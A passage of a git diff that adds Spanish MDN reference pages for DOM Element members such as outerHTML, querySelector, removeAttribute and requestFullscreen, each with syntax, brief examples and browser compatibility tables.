+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Función</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}} <sup>[1]</sup></td>
+   <td>{{CompatIE("10")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Función</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatIE("10")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Implementación retirada. Ver {{Bug("1166347")}}.</p>
+
+<h2 id="See_also" name="See_also">Ver también</h2>
+
+<ul>
+ <li>{{ event("lostpointercapture") }}</li>
+</ul>
diff --git a/files/es/web/api/element/onwheel/index.html b/files/es/web/api/element/onwheel/index.html
new file mode 100644
index 0000000000..b8f829969b
--- /dev/null
+++ b/files/es/web/api/element/onwheel/index.html
@@ -0,0 +1,31 @@
+---
+title: Element.onwheel
+slug: Web/API/Element/onwheel
+tags:
+  - API
+  - DOM
+  - Gecko
+  - Propiedad
+  - Referencia
+translation_of: Web/API/GlobalEventHandlers/onwheel
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<p>{{ non-standard_header() }}</p>
+
+<h3 id="Sumario">Sumario</h3>
+
+<p>La propiedad  <code>onwheel</code> devuelve el código del controlador de eventos <code>onwheel</code> en el elemento actual.</p>
+
+<h3 id="Syntax">Syntax</h3>
+
+<pre class="eval">element.onwheel = <em>event handling code</em>
+</pre>
+
+<h3 id="Notas">Notas</h3>
+
+<p>El evento <code>wheel</code> se genera cuando el usuario desplaza el contenido de un elemento.</p>
+
+<h3 id="Ver_también">Ver también</h3>
+
+<p><a href="https://www.w3.org/Bugs/Public/show_bug.cgi?id=18542" title="https://www.w3.org/Bugs/Public/show_bug.cgi?id=18542">Bug 18542 – el atributo onmousewheel  debe ser reemplazado con onwheel</a></p>
diff --git a/files/es/web/api/element/outerhtml/index.html b/files/es/web/api/element/outerhtml/index.html
new file mode 100644
index 0000000000..7e9647f0db
--- /dev/null
+++ b/files/es/web/api/element/outerhtml/index.html
@@ -0,0 +1,143 @@
+---
+title: Element.outerHTML
+slug: Web/API/Element/outerHTML
+translation_of: Web/API/Element/outerHTML
+---
+<p>{{APIRef("DOM")}}</p>
+
+<h2 id="Summary" name="Summary">Resumen</h2>
+
+<p>El atributo <code>outerHTML</code> del interfaz DOM {{ domxref("element") }} obtiene el fragmento HTML serializado que describe el elemento incluyendo sus descendientes. Puede ser asignado para reemplazar el elemento por los nodos resultantes de examinar de la cadena proporcionada.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="eval"><em>var content</em> = <em>element</em>.outerHTML;
+</pre>
+
+<p>Al retorno, <code>content</code> contendrá el fragmento de HTML serializado que describe al elemento <code>element</code> y a sus descendientes.</p>
+
+<pre class="eval"><em>element</em>.outerHTML = content;
+</pre>
+
+<p>Reemplaza el elemento por los nodos generados del análisis de la cadena <code>content</code> con el padre de <code>element</code> como el nodo de contexto para el algoritmo de procesado del fragmento.</p>
+
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+
+<p>Ontener el valor de la propiedas <code>outerHTML</code> de un elemento:</p>
+
+<pre class="brush: js">// HTML:
+// &lt;div id="d"&gt;&lt;p&gt;Content&lt;/p&gt;&lt;p&gt;Further Elaborated&lt;/p&gt;&lt;/div&gt;
+
+d = document.getElementById("d");
+dump(d.outerHTML);
+
+// La cadena '&lt;div id="d"&gt;&lt;p&gt;Content&lt;/p&gt;&lt;p&gt;Further Elaborated&lt;/p&gt;&lt;/div&gt;'
+// es volcada a la ventana de la consola.
+</pre>
+
+<p>Reemplazar un nodo mediante la asignación de la propiedad <code>outerHTML</code>:</p>
+
+<pre class="brush: js">// HTML:
+// &lt;div id="container"&gt;&lt;div id="d"&gt;This is a div.&lt;/div&gt;&lt;/div&gt;
+
+container = document.getElementById("container");
+d = document.getElementById("d");
+console.log(container.firstChild.nodeName); // logs "DIV"
+
+d.outerHTML = "&lt;p&gt;This paragraph replaced the original div.&lt;/p&gt;";
+console.log(container.firstChild.nodeName); // logs "P"
+
+// El div #d no será parte del árbol del documento,
+// el nuevo párrafo lo reemplazará.
+</pre>
+
+<h2 id="Notas">Notas</h2>
+
+<p>Si el elemento no tiene elemento padre, esto es, si es el elemento raíz del documento, la asignación de su propiedad <code>outerHTML</code> lanzará una <code><a href="/en/DOM/DOMException" title="DOMException">DOMException</a></code> con el código de error <code>NO_MODIFICATION_ALLOWED_ERR</code>. Por ejemplo:</p>
+
+<pre class="brush: js">document.documentElement.outerHTML = "test";  // lanza una DOMException
+</pre>
+
+<p>Además, aunque el elemento es reemplazado en el documento, la variable cuya propiedad <code>outerHTML</code> fue asignada continuará conteniendo una referencia al elemento original:</p>
+
+<pre class="brush: js">var p = document.getElementsByTagName("p")[0];
+console.log(p.nodeName); // muestra: "P"
+p.outerHTML = "&lt;div&gt;This div replaced a paragraph.&lt;/div&gt;";
+console.log(p.nodeName); // sigue mostrando: "P";
+</pre>
+
+<h2 id="Specification" name="Specification">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Observaciones</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM Parsing', '#outerhtml', 'Element.outerHTML')}}</td>
+   <td>{{ Spec2('DOM Parsing') }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Prestación</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatGeckoDesktop("11") }}</td>
+   <td>0.2</td>
+   <td>4.0</td>
+   <td>7</td>
+   <td>1.3</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Prestiación</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("11") }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{domxref("HTMLElement.outerText")}}</li>
+ <li>MSDN: <a class="external" href="http://msdn.microsoft.com/en-us/library/ms534310%28v=vs.85%29.aspx">Propiedad outerHTML</a></li>
+</ul>
diff --git a/files/es/web/api/element/prefix/index.html b/files/es/web/api/element/prefix/index.html
new file mode 100644
index 0000000000..4fc15aed1a
--- /dev/null
+++ b/files/es/web/api/element/prefix/index.html
@@ -0,0 +1,115 @@
+---
+title: Element.prefix
+slug: Web/API/Element/prefix
+tags:
+  - API
+  - Compatibilidad de los Navegadores en Móviles
+  - Compatibilidad de los navegadores
+  - DOM
+  - Propiedad
+  - Referencia
+translation_of: Web/API/Element/prefix
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>La propiedad <code><strong>Element.prefix</strong></code> unicamente de lectura devuelve el namespace prefix de el elemento especificado, o<code> null si no hay especificado </code>prefix .</p>
+
+<div class="note">
+<p>Antes de DOM4 esta API fué definida dentro de la interfaz {{domxref("Node")}}.</p>
+</div>
+
+<h2 id="Síntasix">Síntasix</h2>
+
+<pre class="syntaxbox"><var>string</var> = <var>element</var>.prefix
+</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p><span class="short_text" id="result_box" lang="es"><span>Los siguientes registros</span> <span>"</span><span>x</span><span>"</span> <span>en la consola.</span></span></p>
+
+<pre class="brush:xml">&lt;x:div onclick="console.log(this.prefix)"/&gt;
+</pre>
+
+<h2 id="Notas">Notas</h2>
+
+<p> Solo funcionará cuando se utiliza un analizador de namespace, ej. Cuando un documento es servido con un tipo XML MIME . No funcionará para documentos HTML.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM4", "#dom-element-prefix", "Element.prefix")}}</td>
+   <td>{{Spec2("DOM4")}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_los_Navegadores">Compatibilidad en los Navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Función</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>46.0<sup>[1]</sup></td>
+   <td>{{CompatGeckoDesktop("48.0")}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Función</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("48.0")}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Esta API estaba previamente disponible en {{domxref("Node")}} API.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{domxref("Element.namespaceURI")}}</li>
+ <li>{{domxref("Element.localName")}}</li>
+ <li>{{domxref("Attr.prefix")}}</li>
+ <li>{{domxref("Node.prefix")}}</li>
+</ul>
diff --git a/files/es/web/api/element/queryselector/index.html b/files/es/web/api/element/queryselector/index.html
new file mode 100644
index 0000000000..8ce9cbe15f
--- /dev/null
+++ b/files/es/web/api/element/queryselector/index.html
@@ -0,0 +1,187 @@
+---
+title: Element.querySelector()
+slug: Web/API/Element/querySelector
+translation_of: Web/API/Element/querySelector
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>El método <code><strong>querySelector() </strong></code>de la intrefaz <strong> </strong>{{domxref("Element")}} devuelve el primer descendiente del elemento sobre el cual es invocado que coincida con el o los selectores especificados.</p>
+
+<h2 id="Syntax" name="Syntax">Sintáxis</h2>
+
+<pre class="syntaxbox notranslate"><var>elemento</var> = elementoBase.querySelector(<em>selectore</em>s);
+</pre>
+
+<h3 id="Parametros">Parametros</h3>
+
+<dl>
+ <dt><code>selectores</code></dt>
+ <dd>Es el grupo de <a href="/en-US/docs/Web/Guide/CSS/Getting_Started/Selectors">selectores</a> que servirán para filtrar los elementos descendientes del  {{domxref("Element")}} <code>elementoBase</code>; debe tener una sintáxis CSS válida o se producirá una excepción <code>SyntaxError</code>. Devuelve el primer elemento que encuentre que coincida con el grupo de selectores.</dd>
+</dl>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p>Devolverá el primer descendiente del elemento <code>elementoBase</code> que coincida con el grupo de <code>selectores</code> especificado. Para la comparación se recorrerá la jerarquía completa de elementos, incluyendo a aquellos que no son descendientes del <code>elementoBase</code>; en otras palabras, los <code>selectores</code> se aplican primero al documento completo, no sólo al <code>elementoBase</code>, creando una lista inicial de elementos potencialmente seleccionables. Después se examina dicha lista para comprobar qué elementos son descendientes del <code>elementoBase</code>. El método <code>querySelector()</code> devolverá el primero de dichos elementos descendientes.</p>
+
+<p>Si no hubiera coincidencias, devolverá el valor <code>null</code>.</p>
+
+<h3 id="Excepciones">Excepciones</h3>
+
+<dl>
+ <dt><code>SyntaxError</code></dt>
+ <dd>Los <code>selectores</code> especificados no son válidos.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Vamos a ver unos cuantos ejemplos.</p>
+
+<h3 id="Encontrar_un_elemento_a_traves_del_valor_de_sus_atributos">Encontrar un elemento a traves del valor de sus atributos</h3>
+
+<p>En este primer ejemplo, obtendremos el primer elemento {{HTMLElement("style")}} del body del documento HTML que no tenga atributo "type" o cuyo atributo "type" sea igual a "text/css":</p>
+
+<pre class="brush:js notranslate">var el = document.body.querySelector("style[type='text/css'], style:not([type])");
+</pre>
+
+<h3 id="Toda_la_jerarquía_cuenta">Toda la jerarquía cuenta</h3>
+
+<p>El ejemplo que mostramos a continuación, demuestra que la jerarquía de todo el documento se tiene en cuenta cuando se aplican los <code>selectores</code>, de modo que se tienen en cuenta todos los niveles que se encuentran fuera de la jerarquía del <code>elementoBase</code> para localizar coincidencias.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div&gt;
+  &lt;h5&gt;Original content&lt;/h5&gt;
+  &lt;p&gt;
+    inside paragraph
+    &lt;span&gt;inside span&lt;/span&gt;
+    inside paragraph
+  &lt;/p&gt;
+&lt;/div&gt;
+&lt;div&gt;
+  &lt;h5&gt;Output&lt;/h5&gt;
+  &lt;div id="output"&gt;&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js notranslate">var baseElement = document.querySelector("p");
+document.getElementById("output").innerHTML =
+         (baseElement.querySelector("div span").innerHTML);</pre>
+
+<h4 id="Resultado">Resultado</h4>
+
+<p>El resultado es el siguiente:</p>
+
+<p>{{ EmbedLiveSample('The_entire_hierarchy_counts', 600, 160) }}</p>
+
+<p>Podemos ver que el selector <code>"div span"</code> coincide con el elemento {{HTMLElement("span")}}, aunque <code>baseElement</code> excluye el elemento {{domxref("div")}} al no ser parte de su selector.</p>
+
+<h3 id="Más_ejemplos">Más ejemplos</h3>
+
+<p>Puedes ver más ejemplos sobre el formato apropiado para los <code>selectores</code> aquí {{domxref("Document.querySelector()")}}.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM4','#dom-parentnode-queryselectorallselectors','querySelectorAll()')}}</td>
+   <td>{{Spec2('DOM4')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Selectors API Level 2','#queryselectorall','querySelectorAll()')}}</td>
+   <td>{{Spec2('Selectors API Level 2')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Selectors API Level 1','#queryselectorall','querySelectorAll()')}}</td>
+   <td>{{Spec2('Selectors API Level 1')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_los_Navegadores">Compatibilidad en los Navegadores</h2>
+
+<p>{{ CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatChrome(1) }}<br>
+     </td>
+   <td>
+    <p>{{ CompatGeckoDesktop(1.9.1) }}</p>
+   </td>
+   <td>
+    <p>9 [1]</p>
+   </td>
+   <td>
+    <p>{{CompatVersionUnknown}}</p>
+   </td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] <code>querySelector()</code> funciona en IE8, pero solo para selectores CSS 2.1.</p>
+
+<h2 id="También_puedes_consultar">También puedes consultar:</h2>
+
+<ul>
+ <li><a href="/es/docs/Referencia_DOM_de_Gecko/Localizando_elementos_DOM_usando_selectores">Localizando elementos DOM usando selectores</a></li>
+ <li><a href="/es/docs/Web/CSS/Selectores_atributo">Selectores de atributo</a> en la guia de CSS</li>
+ <li><a href="/es/docs/Learn/CSS/Building_blocks/Selectores_CSS/Selectores_de_atributos">Selectores de atributo</a> en MDN Learning</li>
+ <li>{{domxref("Element.querySelectorAll()")}}</li>
+ <li>{{domxref("Document.querySelector()")}} y {{domxref("Document.querySelectorAll()")}}</li>
+ <li>{{domxref("DocumentFragment.querySelector()")}} y {{domxref("DocumentFragment.querySelectorAll()")}}</li>
+ <li>{{domxref("ParentNode.querySelector()")}} y {{domxref("ParentNode.querySelectorAll()")}}</li>
+ <li><a href="/en-US/docs/Code_snippets/QuerySelector">Code snippets for querySelector</a></li>
+ <li>Otros métodos que toman selectores: {{domxref("element.closest()")}} y {{domxref("element.matches()")}}.</li>
+</ul>
diff --git a/files/es/web/api/element/removeattribute/index.html b/files/es/web/api/element/removeattribute/index.html
new file mode 100644
index 0000000000..bc4573b0af
--- /dev/null
+++ b/files/es/web/api/element/removeattribute/index.html
@@ -0,0 +1,41 @@
+---
+title: Element.removeAttribute()
+slug: Web/API/Element/removeAttribute
+tags:
+  - API
+  - DOM
+  - Elemento
+  - Referencia
+translation_of: Web/API/Element/removeAttribute
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p><code>removeAttribute</code> elimina un atributo del elemento especificado.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="eval"><em>element</em>.removeAttribute(<em>attrName</em>);
+</pre>
+
+<ul>
+ <li><code>attrName</code> es una cadena que nombra el atributo a ser eliminado de <em>element</em>.</li>
+</ul>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<pre>// &lt;div id="div1" align="left" width="200px"&gt;
+document.getElementById("div1").removeAttribute("align");
+// ahora: &lt;div id="div1" width="200px"&gt;
+</pre>
+
+<h2 id="Notes" name="Notes">Notas</h2>
+
+<p>Debe usarse preferiblemente <code>removeAttribute</code> en lugar de establecer el valor del atributo a <code>null</code> usando <a href="/en/DOM/element.setAttribute" title="en/DOM/element.setAttribute">setAttribute</a>.</p>
+
+<p>Intentar eliminar un atributo que no existe en el elemento no disparará una excepción.</p>
+
+<p>{{ DOMAttributeMethods() }}</p>
+
+<h2 id="Specification" name="Specification">Especificación</h2>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-6D6AC0F9">DOM Level 2 Core: removeAttribute</a> (introducido en <a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#method-removeAttribute">DOM Level 1 Core</a>)</p>
diff --git a/files/es/web/api/element/requestfullscreen/index.html b/files/es/web/api/element/requestfullscreen/index.html
new file mode 100644
index 0000000000..823330dbe8
--- /dev/null
+++ b/files/es/web/api/element/requestfullscreen/index.html
@@ -0,0 +1,104 @@
+---
+title: Element.requestFullscreen()
+slug: Web/API/Element/requestFullScreen
+tags:
+  - Pantalla completa
+translation_of: Web/API/Element/requestFullScreen
+---
+<div>{{APIRef("DOM")}}{{seeCompatTable}}</div>
+
+<p>Asynchronously requests that the element be made full-screen.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">element.mozRequestFullScreen();
+</pre>
+
+<h2 id="Notas">Notas</h2>
+
+<p>No esta garantizado que el elemento se cambie a modo pantalla completa. Si la autorización para entrar a modo pantalla completa es permitida, el documento obtendrá un evento "mozfullscreenchange" para hacerle saber que esta en modo pantalla completa en ese momento. Si la autorización es denegada, el documento obtiene un evento "mozfullscreenerror".</p>
+
+<p>Ve a <a href="/en-US/docs/Web/Guide/API/DOM/Using_full_screen_mode">Using full-screen mode</a> para mas detalles y ejemplos.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Fullscreen", "#dom-element-requestfullscreen", "Element.requestFullScreen()")}}</td>
+   <td>{{Spec2("Fullscreen")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox</th>
+   <th>Edge<br>
+    Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("webkit")}} (also as webkitRequestFullScreen)</td>
+   <td>{{CompatGeckoDesktop("9.0")}} (as mozRequestFullScreen)</td>
+   <td>11 {{property_prefix("ms")}}<a href="https://msdn.microsoft.com/en-us/library/dn254939%28v=vs.85%29.aspx">¹</a><br>
+    20<a href="https://msdn.microsoft.com/en-us/library/dn265028%28v=vs.85%29.aspx">¹</a><a href="https://msdn.microsoft.com/en-us/library/dn254939%28v=vs.85%29.aspx">²</a></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("9.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/API/DOM/Using_full_screen_mode">Using full-screen mode</a></li>
+ <li>{{domxref("document.mozCancelFullScreen()")}}</li>
+ <li>{{domxref("document.mozFullScreen")}}</li>
+ <li>{{domxref("document.mozFullScreenElement")}}</li>
+ <li>{{domxref("document.mozFullScreenEnabled")}}</li>
+ <li>{{cssxref(":-moz-full-screen")}}</li>
+ <li>{{HTMLAttrXRef("allowfullscreen", "iframe")}}</li>
+</ul>
diff --git a/files/es/web/api/element/runtimestyle/index.html b/files/es/web/api/element/runtimestyle/index.html
new file mode 100644
index 0000000000..289c3fe13b
--- /dev/null
+++ b/files/es/web/api/element/runtimestyle/index.html
@@ -0,0 +1,82 @@
+---
+title: Element.runtimeStyle
+slug: Web/API/Element/runtimeStyle
+tags:
+  - API
+  - Necesidad de compatibilidad de los navegadores
+  - Necesidad de compatibilidad de los navegadores móviles
+  - Necesidad de ejemplo
+  - Propiedad
+translation_of: Web/API/Element/runtimeStyle
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>{{ Non-standard_header() }}</p>
+
+<h2 id="Sumario">Sumario</h2>
+
+<p><span id="result_box" lang="es"><strong><span>Element.runtimeStyle</span></strong> <span>es una</span> <span>propiedad exclusiva</span> <span>similar a</span> <span>{</span><span>{</span><span>domxref</span> <span>(</span><span>"</span><span>HTMLElement.style</span><span>"</span><span>)</span><span>}</span><span>}</span><span>, excepto</span> <span>sus</span> <span>estilos,</span> <span>que tienen</span> <span>mayor precedencia</span> <span>y</span> <span>modificaciön.It</span> <span>no modifica</span> <span>el contenido del atributo</span>  </span><code><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/style">style</a></code> <span lang="es"><span>.</span> <span>Está disponible en</span> <span>las versiones anteriores de</span> <span>Microsoft</span> <span>Internet Explorer</span><span>.</span></span></p>
+
+<h2 id="especificación">especificación</h2>
+
+<p>No forma parte de ninguna especificación.</p>
+
+<p>Microsoft <a href="https://msdn.microsoft.com/en-us/library/ms535889(v=vs.85).aspx">tiene una descripción en MSDN</a>.</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Compatibilidad de los Navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Función</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Microsoft Edge</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>6</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Función</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{domxref("Element.currentStyle")}}   </li>
+</ul>
diff --git a/files/es/web/api/element/scrollheight/index.html b/files/es/web/api/element/scrollheight/index.html
new file mode 100644
index 0000000000..d281054beb
--- /dev/null
+++ b/files/es/web/api/element/scrollheight/index.html
@@ -0,0 +1,212 @@
+---
+title: Element.scrollHeight
+slug: Web/API/Element/scrollHeight
+tags:
+  - API
+  - Necesidad de Ejemplo de eliminación DHTML
+  - Propiedad
+  - Referencia
+  - Vista CSSOM
+translation_of: Web/API/Element/scrollHeight
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p><span id="result_box" lang="es"><span>El elemento </span><strong> <span>Element.scrollHeight</span></strong> <span>atributo unicamente de lectura</span> <span>es una medida de</span> <span>la altura del</span> <span>contenido de un elemento</span><span>,</span> <span>incluyendo el contenido</span> que <span>no es visible</span> <span>en la pantalla</span> <span>debido al desbordamiento</span><span>.</span> <span>El valor</span> </span><code>scrollHeight</code><span lang="es"> <span>es</span> <span>igual a la</span> <span>altura mínima (</span><span>donde la altura</span> <span>incluye el relleno</span> <span>, pero no incluye</span> <span>bordes y márgenes</span><span>)</span> <span>El elemento</span> <span>lo necesita</span> <span>con el fin de</span> <span>adaptarse a</span> <span>todos los contenidos</span> <span>en</span> <span>el punto de vista</span> <span>sin necesidad de utilizar</span> <span>una barra de desplazamiento</span> <span>vertical.</span> <span>Incluye</span> <span>el </span> <span>elemento</span> <span>relleno pero no</span> <span>su margen</span><span>.</span></span></p>
+
+<div class="note">
+<p><span id="result_box" lang="es"><span>Esta propiedad</span> <span>redondea</span> <span>el valor a</span> <span>un número entero</span><span>.</span> <span>Si se necesita</span> <span>un valor fraccionario</span><span>,</span> <span>utilizar </span></span>{{domxref("Element.getBoundingClientRect()")}}.</p>
+</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate">var <em>intElemScrollHeight</em> = <em>element</em>.scrollHeight;</pre>
+
+<p><em>intElemScrollHeight</em> es una variable que almacena un número entero correspondiente al valor  scrollHeight en pixels del elemento. scrollHeight es una propiedad unicamente de lectura.</p>
